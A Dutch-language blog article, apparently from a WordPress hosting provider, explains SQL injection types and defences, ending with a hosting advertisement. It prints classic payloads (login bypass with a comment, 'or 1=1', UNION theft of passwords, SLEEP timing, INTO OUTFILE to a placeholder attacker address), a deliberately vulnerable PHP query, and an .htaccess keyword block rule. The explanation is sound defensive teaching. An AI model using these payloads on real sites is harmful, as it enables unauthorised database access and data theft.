Een SQL injectie is een code-injectietechniek die aanvallers gebruiken om kwetsbaarheden op het niveau van de database van een website of applicatie uit te buiten. Als aanvallers een SQL injectie kunnen uitvoeren, kunnen ze toegang krijgen tot de database.
Als je begrijpt hoe deze aanvallen werken, kun je ze beter voorkomen. Zo kun je je website en klanten veilig houden.
In dit artikel gaan we in op de verschillende soorten SQL injecties. We laten je ook zien hoe je je site tegen deze aanvallen kunt beschermen. Laten we er meteen in duiken!
Wat is een SQL injectie?
SQL (Structured Query Language) is een taal waarmee we kunnen communiceren met databases. Moderne webapplicaties gebruiken databases om gegevens te beheren en dynamische inhoud weer te geven aan lezers.
Er is sprake van SQL injectie (of SQLi) wanneer een gebruiker kwaadaardige SQL statements probeert in te voegen in een webapplicatie. Als dat lukt, krijgen ze toegang tot gevoelige gegevens in de database.
In 2023 behoren SQL injecties nog steeds tot de meest voorkomende aanvallen op het web. Alleen al in 2022 werden 1162 SQL injectiekwetsbaarheden toegevoegd aan de CVE beveiligingsdatabase.
Het goede nieuws is dat SQL injecties niet meer zo vaak voorkomen als vroeger. De meeste applicaties zijn geëvolueerd om zich te beschermen tegen SQL aanvallen.
In 2012 was 97 procent van alle datalekken te wijten aan SQL injecties. Tegenwoordig is dat aantal nog steeds hoog, maar veel beter beheersbaar.
Hoe werken kwetsbaarheden rond SQL injecties?
Een SQL injectie kwetsbaarheid geeft een aanvaller volledige toegang tot de database van je applicatie door het gebruik van kwaadaardige SQL statements.
Laten we eens kijken naar een voorbeeld van een kwetsbare applicatie.
Stel je de workflow voor van een typische webapplicatie waarbij databaseverzoeken worden gedaan via gebruikersinvoer. Je neemt de gebruikersinvoer door middel van een formulier, bijvoorbeeld een inlogformulier. Je bevraagt volgens je database met de velden die de gebruiker heeft ingevuld om hem te verifiëren. De structuur van de query naar je database ziet er ongeveer zo uit:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
Laten we er voor het gemak van uitgaan dat je je wachtwoorden als platte tekst opslaat. Het is echter een goede gewoonte om je wachtwoorden te salten en vervolgens te hashen. Als je de gebruikersnaam en het wachtwoord van het formulier hebt ontvangen, kun je de query als volgt in PHP definiëren:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
Als iemand de waarde ‘admin’;–‘ invoert in het veld gebruikersnaam, zal de resulterende SQL query die de variabele $db_query genereert als volgt zijn:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
Wat doet deze query?
In SQL begint het — symbool een comment, dus alles wat er na komt wordt genegeerd. Dit verwijdert de wachtwoordcontrole uit de query. Het resultaat is dat als “admin” een geldige gebruikersnaam is, de aanvaller kan inloggen zonder het wachtwoord te kennen. Tenminste, als er geen beveiliging is tegen dit soort aanvallen.
Als alternatief kan in dit voorbeeld ook een booleaanse aanval worden gebruikt om toegang te krijgen. Als een aanvaller “password’ of 1=1;-” invoert in het wachtwoordveld, zou de resulterende query er als volgt uitzien:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
In dit geval zou je, zelfs als je wachtwoord fout is, worden geverifieerd in de applicatie. Als je webpagina de resultaten van de database query weergeeft, kan een aanvaller het commando gebruiken om tabellen weer te geven, het commando om de tabellen in de database weer te geven en vervolgens selectief tabellen droppen als hij dat wil.
Soorten SQL injectie
Nu je de basis van een SQL injectie kwetsbaarheid kent, laten we de verschillende soorten SQL injectie-aanvallen en de reden achter elk van hen verkennen.
In-Band SQL injectie
In-Band SQL injectie is de eenvoudigste vorm van SQL injectie. Hierbij kan de aanvaller hetzelfde kanaal gebruiken om de kwaadaardige SQL code in de applicatie in te voegen en de resultaten te verzamelen.
Laten we eens kijken naar twee vormen van in-band SQL injectie-aanvallen.
Aanval op basis van fouten
Een op fouten gebaseerde aanval vindt plaats wanneer iemand opzettelijk de SQL query manipuleert om een databasefout te genereren. De foutmelding die de database teruggeeft bevat vaak informatie over de databasestructuur, die de aanvaller kan gebruiken om het systeem verder uit te buiten.
Een aanvaller kan bijvoorbeeld ‘ OR ‘1’=’1 invoeren in een formulierveld. Als de applicatie kwetsbaar is, kan deze een foutmelding teruggeven die informatie over de database onthult.
Aanval op basis van union
Op union gebaseerde SQL injectie-aanvallen gebruiken de SQL UNION operator om de resultaten van de oorspronkelijke query te combineren met resultaten van geïnjecteerde kwaadaardige query’s.
Hierdoor kan de aanvaller informatie ophalen uit andere tabellen in de database:
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
In deze query combineert de UNION operator de resultaten van de oorspronkelijke query met de resultaten van SELECT username, password FROM user_table. Als de applicatie kwetsbaar is en de gebruikersinvoer niet goed zuivert, kan deze een pagina terugsturen die gebruikersnamen en wachtwoorden uit de gebruikerstabel bevat.
Inferentiële SQL injectie (blinde SQL injectie)
Zelfs als een aanvaller een fout genereert in de SQL query, is het mogelijk dat het antwoord van de query niet direct naar de webpagina wordt gestuurd. In dit geval moet de aanvaller verder onderzoek doen.
Bij deze vorm van SQL injectie stuurt de aanvaller verschillende query’s naar de database om te beoordelen hoe de applicatie deze responses analyseert. Een inferentiële SQL injectie wordt ook wel blinde SQL injectie genoemd.
We zullen hieronder twee soorten inferentiële SQL injecties bekijken: booleaanse SQL injectie en tijdsgebaseerde SQL injectie.
Booleaanse aanval
Als een SQL query resulteert in een fout die niet intern in de applicatie is afgehandeld, kan de resulterende webpagina een foutmelding geven, een lege pagina laden of gedeeltelijk laden. Bij een booleaanse SQL injectie beoordeelt een aanvaller welke delen van de invoer van een gebruiker kwetsbaar zijn voor SQL injecties door twee verschillende versies van een booleaanse clausule door de invoer te proberen:
- “… and 1=1”
- “… and 1=2”
Deze query’s zijn ontworpen om een voorwaarde te hebben die waar of onwaar is. Als de voorwaarde waar is, wordt de pagina normaal geladen. Als de voorwaarde onwaar is, kan de pagina anders laden of een fout weergeven.
Door te kijken hoe de pagina laadt, kan de aanvaller bepalen of de voorwaarde waar of onwaar was, ook al zien ze de daadwerkelijke SQL query of het antwoord van de database niet. Als je meerdere vergelijkbare condities samenstelt, kun je langzaam informatie uit de database halen.
Aanval op basis van tijd
Een op tijd gebaseerde SQL injectie-aanval kan een aanvaller helpen bepalen of er een kwetsbaarheid aanwezig is in een webapplicatie. Een aanvaller maakt gebruik van een vooraf gedefinieerde op tijd gebaseerde functie van het databasebeheersysteem dat wordt gebruikt door de applicatie. In MySQL bijvoorbeeld geeft de sleep() functie de database de opdracht om een bepaald aantal seconden te wachten.
select * from comments
WHERE post_id=1-SLEEP(15);
Als zo’n query resulteert in een vertraging, dan weet de aanvaller dat hij kwetsbaar is. Deze aanpak is vergelijkbaar met booleaanse aanvallen in die zin dat je geen daadwerkelijke respons krijgt van de database. Je kunt er echter wel informatie uit halen als de aanval slaagt.
Out-of-band SQL injectie
Bij een out-of-band SQL Injectie aanval manipuleert de aanvaller de SQL query om de database opdracht te geven gegevens te verzenden naar een server die door de aanvaller wordt bestuurd. Dit wordt meestal bereikt door gebruik te maken van databasefuncties die externe resources kunnen opvragen, zoals HTTP verzoeken of DNS verzoeken.
Een out-of-band SQL injectie aanval maakt gebruik van een externe bestandsprocesmogelijkheid van je DBMS. In MySQL kunnen de LOAD_FILE() en INTO OUTFILE functies worden gebruikt om MySQL te verzoeken de gegevens naar een externe bron te sturen.
Hier wordt uitgelegd hoe een aanvaller OUTFILE zou kunnen gebruiken om de resultaten van een query naar een externe bron te sturen:
select * from post_table
into OUTFILE '\\MALICIOUS_IP_ADDRESSlocation'
Op dezelfde manier kan de LOAD_FILE() functie worden gebruikt om een bestand van de server te lezen en de inhoud weer te geven. Een combinatie van LOAD_FILE() en OUTFILE kan worden gebruikt om de inhoud van een bestand op de server te lezen en vervolgens naar een andere locatie te sturen.
Zo voorkom je SQL injecties
Tot nu toe hebben we de kwetsbaarheden in een webapplicatie onderzocht die kunnen leiden tot SQL injectie-aanvallen. Een kwetsbaarheid rond SQL injecties kan door een aanvaller worden gebruikt om de inhoud van je database te lezen, te wijzigen of zelfs te verwijderen.
Daarnaast kan het ook leiden tot het lezen van een bestand op een willekeurige locatie binnen de server en de inhoud naar elders overbrengen. In dit gedeelte verkennen we verschillende technieken om je webapplicatie en website te beschermen tegen SQL injectie-aanvallen.
Gebruikersinvoer omzeilen
Over het algemeen is het moeilijk om te bepalen of een user string kwaadaardig is of niet. Daarom is het escapen van speciale tekens in gebruikersinvoer een veelgebruikte aanpak. Dit proces kan helpen beschermen tegen SQL injectie-aanvallen.
In PHP kun je een string laten escapen voordat je de query opbouwt met de functie mysqli_real_escape_string()
:
$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);
Bij het weergeven van gebruikersinvoer als HTML is het ook belangrijk om speciale tekens te converteren naar hun overeenkomstige HTML tekens om Cross-Site Scripting (XSS) aanvallen te voorkomen. Je kunt speciale tekens in PHP converteren met de functie htmlspecialchars()
.
Gebruik prepared statements
Je kunt ook prepared statements gebruiken om SQL injecties te voorkomen. Een prepared statement is een template van een SQL query, waarbij je in een later stadium parameters opgeeft om de query uit te voeren.
Hier is een voorbeeld van een prepared statement in PHP en MySQLi:
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
Andere hygiene checks om SQL aanvallen te voorkomen
De volgende stap in het beperken van deze kwetsbaarheid is het beperken van de toegang tot de database tot alleen het noodzakelijke.
Je kunt bijvoorbeeld je webapplicatie verbinden met de DBMS door een specifieke gebruiker te gebruiken die alleen toegang heeft tot de relevante database.
Daarnaast wil je de toegang van de databasegebruiker tot alle andere locaties van de server beperken. Het kan ook zijn dat je bepaalde SQL sleutelwoorden in je URL via je webserver wilt blokkeren.
Als je Apache als webserver gebruikt, kun je de volgende regels code gebruiken in je .htaccess bestand om een 403 Forbidden foutmelding te tonen aan een potentiële aanvaller.
Je moet voorzichtig zijn voordat je deze techniek gebruikt, want Apache zal een fout weergeven aan een lezer als de URL deze trefwoorden bevat.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
Als extra preventietip moet je altijd bijgewerkte software gebruiken. Wanneer er een nieuwe versie of een patch wordt uitgebracht, worden de bugs die in de update zijn verholpen gedetailleerd beschreven in de release notes. Zodra de details van een bug openbaar zijn, kan het riskant zijn om een oude versie van software te gebruiken.
SQL injectie in WordPress
Je bent veilig voor elke SQL injectiekwetsbaarheid als je up-to-date WordPress core bestanden gebruikt. Maar als je plugins en thema’s van derden gebruikt, is je website altijd enigszins kwetsbaar. Je kunt dit risico grotendeels beperken door plugins en thema’s te gebruiken die regelmatig worden bijgewerkt en die veilige codeerpraktijken volgen.
Je WordPress site is zo sterk als de zwakste schakel. In dit gedeelte gaan we in op de belangrijkste overwegingen om SQL injectie kwetsbaarheid in WordPress te beperken en hoe je kwetsbaarheden kunt controleren op je bestaande WordPress site.
Kwetsbaarheden rond SQL injecties voorkomen voor WordPress
Om de kwetsbaarheden rond SQL injecties in je WordPress thema of plugin te beperken, is de enige regel die je moet volgen om altijd bestaande WordPress functies te gebruiken bij interactie met de database.
Deze functies zijn tijdens het WordPress ontwikkelproces grondig getest op SQL injectiekwetsbaarheden. Als je bijvoorbeeld een commentaar aan een bericht wilt toevoegen, gebruik dan de wp_insert_comment() functie in plaats van rechtstreeks gegevens in te voegen in de wp_comments tabel.
Hoewel functies uitbreidbaar zijn, moet je soms een complexe query uitvoeren. Zorg er in zo’n geval voor dat je de $wp_db groep van functies gebruikt. Je kunt $wpdb->prepare() gebruiken om te escapen aan gebruikersinvoer voordat je de query maakt.
Daarnaast is hier een lijst met functies om gegevens in WordPress te zuiveren. Deze kunnen je helpen om specifieke soorten gebruikersinvoer te omzeilen, zoals e-mails en URL’s.
Beveilig je WordPress site
Hoewel WordPress zelf veilig is, kunnen zaken als verouderde core software en nulled plugins leiden tot kwetsbaarheden. Hoewel er geen alternatief is voor het grondig controleren van je WordPress site op SQL injectiekwetsbaarheden, kan de complexiteit van een website deze taak een uitdaging maken.
Je kunt een online scantool gebruiken zoals WPScan. We raden je ook aan om je plugins te controleren om te zien of hun ontwikkeling is gestagneerd. Als ze niet meer worden onderhouden, is het misschien geen goed idee om ze op je site te gebruiken.
Als je ze toch moet gebruiken, zorg er dan voor dat je hun code en functionaliteit grondig test op kwetsbaarheden. Zorg er verder voor dat je deze hygiene checks volgt:
- Werk PHP, WordPress core en MySQL bij
- Werk plugins en thema’s van derden bij
- Vermijd het gebruik van de root-gebruiker om verbinding te maken met de SQL database
- Beperk de toegang van de SQL gebruiker tot gevoelige mappen
- Blokkeer SQL sleutelwoorden die je server gebruiken
- Bewaar backups van je site off-site in geval van onomkeerbare schade
Hier is een gedetailleerde post over WordPress beveiliging en een lijst met checks. Verder wil je misschien investeren in deze top beveiligingsplugins voor WordPress. Dit is wat je moet doen als je WordPress site gehackt is ondanks je beste inspanningen.
Is SQL injectie illegaal?
Absoluut! Ook al is er een kwetsbaarheid, een aanvaller probeert nog steeds toegang te krijgen tot gegevens die anders niet beschikbaar zouden zijn.
Stel je een scenario voor waarbij iemand zijn sleutels in de auto laat liggen. Is het een overtreding om daarin weg te rijden, alleen omdat de auto open en onbeheerd werd achtergelaten?
SQLi valt in verschillende landen onder verschillende wetten. Het valt onder de Computer Fraud and Abuse Act (1986) in de VS en de Computer Misuse Act (1990) in het Verenigd Koninkrijk.
Samenvatting
SQL injecties zijn al lange tijd een van de meest voorkomende aanvallen op allerlei soorten websites. Zelfs WordPress kan je niet beschermen tegen de mogelijkheid van SQL aanvallen als je geen maatregelen neemt om je website veilig te houden.
Om deze aanvallen te voorkomen, moet je:
- Begrijpen hoe de SQL injectiekwetsbaarheden werken
- Verschillende manieren onderzoeken waarop aanvallers SQLi kunnen gebruiken om ongeautoriseerde toegang tot je webapplicatie te krijgen
- Methoden implementeren om je website te beschermen tegen SQLi aanvallen, zoals het escapen van gebruikersinvoer en het gebruik van prepared statements
- Een routine voor beveiligingscontrole volgen
Bespaar tijd en kosten en maximaliseer de prestaties van je website met meer dan $275 aan integraties op ondernemingsniveau die in elk Managed WordPress pakket zijn inbegrepen. Denk hierbij aan een krachtig CDN, DDoS bescherming, malware- en hackbescherming, Edge Caching en Google’s snelste CPU machines. Ga nu aan de slag, zonder langetermijncontracten, en mét ondersteunde migraties en een 30-dagen niet-goed-geld-terug-garantie.
Bekijk onze pakketten of praat met sales om het pakket te vinden dat bij je past.
Laat een reactie achter